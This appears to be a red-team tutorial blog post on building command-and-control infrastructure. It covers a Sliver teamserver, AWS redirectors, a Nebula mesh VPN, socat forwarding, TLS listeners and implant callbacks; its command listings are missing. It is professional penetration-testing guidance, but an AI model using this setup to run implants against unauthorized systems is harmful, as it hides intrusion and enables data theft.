It all starts with your teamserver.

You will build all of this infrastructure from your teamserver, outward.

This is the server that handles all agent callbacks and serves as the locus of control for the whole operation. Your client’s data ends up here while you are nabbing it off of the endpoint.

So what does that mean? It needs to be secure.

Do not host this in the ☁️ C L O U D ☁️.

I might have lost a few of you with that last sentence, but I stand by it. There’s a long and involved argument for why this must be the case, but I’ll summarize it with this question:

Your C2 server should be on-premise. I don’t own a datacenter with locks, guards, cameras, and all of those sweet sweet mitigative controls, so my PC in my apartment will have to suffice for this demo. The point is that my teamserver is in a location where I have physical access to the equipment and can control who else has physical access to it.

Please note: I don’t recommend running real engagements from your PC in your apartment. FOR INSTRUCTIONAL PURPOSES ONLY

😉

For your teamserver’s OS type, this may depend on the operation. But Kali is always a good choice. I’ve also done engagements where a simple Ubuntu Desktop host was used and it worked just fine.

Install your C2 of choice! I’m going to use Sliver for this demo because I’ve grown to like it a lot and it’s analogous to an open source Cobalt Strike of sorts.

Sliver has possibly the easiest install of any C2 I’ve ever seen:

Great! Let’s put Sliver to the side for a moment.

Any authentication/cryptographic material should be stored on-prem. This includes id_rsa of the key pair that we’re about to make as well as the certs for Nebula (more on this later!).

Make a directory on your teamserver and make an SSH key pair:

So far so good.

Let’s grab another tool we’ll use today: Nebula. Nebula is an extremely simple way to make a mesh overlay VPN where any two points on the network will always be able to communicate provided they can reach an intermediary host. More on this later.

Here we go, Cloud Cowpeeps, time to stand up our cloud infrastructure. But before we do that, we need to be very, very clear.

👏 DO 👏 NOT 👏 STORE 👏 SENSITIVE 👏 MATERIAL 👏 ON 👏 YOUR 👏 CLOUD 👏 ASSETS 👏

...

👏 EVER 👏

The assets we’re going to provision should be treated as a contested zone. Private keys, stolen files, sensitive material of any kind must never be stored here.

The one exception to this is your Nebula host keys, which have to be on the hosts by necessity if you want them to connect to your VPN. This is a risk we’re willing to take.

I will very clearly spell out which parts of the Nebula equation should go on the cloud hosts and which ones should not. More on that in a bit.

For the demo, we’ll use this new and upcoming cloud provider called AWS. Have you heard of these guys?

We’ll start with our Listeningpost, which is our primary redirector.

Head on over to AWS. Make yourself an account if you don’t have one already

Once you’re logged in and have setup MFA, head over to the EC2 section:

Scroll down on the menu and go to the Key Pairs section, then click Import key pair from the drop down in the upper-right corner:

Grab the contents of your id_rsa.pub file and copy them into the block on this page:

Once imported, this key can be used with your cloud host:

We will now go to EC2 > Instances > Launch an Instance

Name your host:

For application and OS Images, we’ll select Quick Start and Ubuntu for the OS:

Select a free-tier eligible instance type so we can save our monies. Also, add the key pair that we just added to the instance:

Now, this is important. In the Network Settings, we want to lock this down so SSH is only allowed from our own IP address. Go to ipchicken.com and get your internet-facing IP address and put it here, followed by a /32 to lock it down to that IP address only:

Once this is complete, launch the instance!

Go back to Instances and your new instance is now spinning up. Click on it and examine its settings.

We can now try SSHing into this instance from our Kali host:

Excellent!

While we’re here, let’s install a few tools we’re going to need shortly: socat and Nebula

Lighthouse acts as our Nebula focal point. Nebula is not a traditional hub and spoke VPN. Instead, it’s a mesh overlay VPN where any two points can communicate directly as long as they can both find the intermediary server called the Lighthouse. It’s important to note that traffic does not necessarily flow through Lighthouse to get from point A to point B. Instead, Point A identifies where Point B by querying Lighthouse and then works out the fastest way to transfer data.

arsTechnica has a great article about how this works from the high level:

The cool thing about this is that once this is set up, we can scale outwards infinitely and even host each part of our infrastructure on different cloud providers.

We’re going to launch another instance with exactly the same configurations as Listeningpost and name it Lighthouse:

Follow the rest of the instructions for setting up Listeningpost to spin up Lighthouse. I’ll leave it up to you if you want to make a new key pair for Lighthouse. For simplicity’s sake, I’m using the same key pair that was previously used.

Again, it bears repeating: lock down SSH to only allow your IP address inbound.

If all has gone well, we now have two cloud hosts:

Let’s SSH into Lighthouse:

Lovely.

Let’s also grab Nebula for this host:

We now need to configure our cloud assets’ firewalls. This is a balancing act because we want them permissive enough that Lighthouse and our C2 can traverse and get where it needs to go, but secure enough that we’re not over exposed.

Head over to the Network Security section of the AWS dashboard and go to the Security Groups section:

Select “Create Security Group”:

We make a new security group rule for Lighthouse that allows inbound UDP port 4242. This allows hosts in our Nebula network to query the Lighthouse for adjacent hosts in the mesh. We can afford to open this up to all IPv4 addresses because this transaction is cryptographically verified against a certificate that we will create shortly:

You can leave the Outbound rules alone. Click Create Security Group.

Back in Instances, click on the checkbox next to lighthouse, then click Actions > Security > Change Security Groups. In the Associated security groups drop down, select your new rule for lighthouse and select Add security group.

We will open up more ports in a bit, but this is good for now.

🪐 Space, the final C2 frontier 🌠

It’s time to set up our Nebula network.

We’ll set up all of our required certs and configs on the on-prem teamserver and keep them there for security’s sake. Then, slowly and methodically, we’ll roll each part out to the cloud assets.

Over on your teamserver, run the following commands:

Borrowing from Marcello’s post here:

Amen, brother!

Hosts in a Nebula network require a config file. The config files are written in YAML and are super easy to read and understand. Again, borrowing from Marcello’s post here with alterations:

Take a quick look through these conf files and alter anything you need, like the location of the crt and key files. Make sure to swap out <LIGHTHOUSE IP> for Lighthouse’s public IP address. This value should not change while the Nebula network is in operation. Try to keep your Lighthouse at the same IP during ops.

For ease of troubleshooting, ports 80 and 443 are set to allow any ingress traffic to the Listeningpost host. This is not particularly secure by itself, but we’ll leave these open in the Nebula config and let the AWS Security Groups do the heavy lifting for blocking traffic that we don’t want. We’ll use the security group settings to lock this down to specific IP addresses to keep here in a moment.

We can also ratchet up the security here in the firewall rules and specify hosts and protocols. Maybe you want SSH to be open to everything inside of the Nebula network, but maybe there are some hosts that you don’t want communicating. This file is where you can lock these down.

Copy the following files to each host via SCP or other means:

That’s it!

Start up Lighthouse first:

Next, fire up the other hosts:

The “Handshake message received” is what we’re looking for here. If you inspect your Teamserver’s interfaces, you should see the new nebula1 interface:

ayyy! And we can ping to verify connectivity:

Our next objective is to ensure traffic can traverse from Listeningpost’s external IP address all the way back to our teamserver. We’ll prove this concept with port 80 and standard HTTP before we bump up the OPSEC and set up HTTPS.

To do this securely, we will create a reverse port forward from the teamserver to the Listeningpost. Reading Tim MalcomVetter’s original blog post:

To do this, on the teamserver we do the following:

(Note: I’ve now added listeningpost and lighthouse to my /etc/hosts on the teamserver by their Nebula IP addresses for simplicity).

There is no other output in the terminal, but once we go view ss -plant on Listeningpost...

Great! We now have a listening port on the localhost of Listeningpost.

Now we need to bind a port on Listeningpost’s IP address and send it to out reverse port forward. We specify its private IPv4 address here, knowing that this is downstream of the external public facing IP address on the same host.

We can do this with socat:

Again, there is no feedback in the terminal.

Now, we won’t be able to traverse from our Listeningpost’s external IP just yet. We need to add a rule in our cloud security group to allow specific ingress traffic.

For this demo, I will open ingress traffic on port 80 and lock it down specifically to my own public IP address to keep prying eyes away for now:

Now, add this security group rule to our Listeningpost instance:

Now over on our teamserver:

If all has gone according to plan, if I browse to Listeningpost’s public IP address, I should be routed through that interface, hit the socat redirector that bounces inbound TCP/80 to our reverse port forward, which ends up on our Teamserver that is now serving out our test HTML page.

Drumroll please.....

🚀🚀🚀🚀🚀

It’s worth noting here: always test your infrastructure in little increments. It’s a lot easier to figure out what went wrong if you go step by step like I just did. It’s a lot harder when you run off to the race track and spin up a ton of infra, your C2, firewalls, Nebula, etc etc and then can’t figure out why your payload isn’t working.

So far so good, but let’s keep this 💯 and use end-to-end encryption.

To do this, we need a TLS certificate. Now, you can always go the long route of purchasing one from Namecheap or another DNS provider, but that’s a lot for a demo like this. In real life, you’ll go through the painful process of procuring domain names and registering certs for them.

If you’ve never had the pleasure of setting up SSL certs before, consider yourself lucky. It’s...a bit involved. It’s a great task to make the new red teamers on your team do. Or at least that’s what everyone told me.

Create a self-signed cert:

On the teamserver, set up the HTTPS listener and point it at your certs:

We now create an agent:

That agent name is a bit on the nose, but we’ll roll with it.

The implant is listed as an HTTP agent, but this option services both HTTP and HTTPS listeners.

Meanwhile, I go back and make another security group setting that allows HTTPS inbound to Listeningpost and lock it down to my own IP address:

For instructional purposes only, I add Listeningpost’s public IP to my test target’s hosts file. In real life, you’ll register a legitimate DNS record to point to Listeningpost.

We reconfigure the reverse port forward and the socat listener on Listeningpost:

If all has gone according to plan, we can land this agent anywhere in the world and we’ll get an end-to-end encrypted callback session when it is executed provided it can reach the IP at fancyladsnacks.info.

Hey, this wouldn’t be a bad time to include autossh so your reverse port forward happens automagically:

However you decide to get the Sliver agent to the target is on you and outside the scope of this post. I’d recommend hosting it on a completely separate payload server. But once it has been downloaded and executed...

🚀🚀🚀🍆🍆🍆😝

Let’s think through how our traffic is now getting from the target to our teamserver:

It’s safe and sound. Fight’s on!

That’s a lot for now, so let’s recap.

We’ve used the design philosophy of Tim MalcomVetter’s Safe Red Team Infrastructure blog post to implement a C2 architecture that keeps our client’s data safe as we pilfer it from the endpoint.

We also used some of byt3bl33d3r’s finess to make our infrastructure scalable and resilient with the help of Nebula.

We stood up infrastructure that started at our teamserver and worked outward. Each step, we tested and ensured the infra was working as intended. We used cloud provisioned assets responsibly to help out our infrastructure but ensured that no sensitive data would end up on those hosts.

I think that’s all for now because this post is now enormous. But in the next post, I’ll show how to install a proxy that will assess incoming traffic and redirect it to keep blue teamers off our backs.

Until next time!

-Husky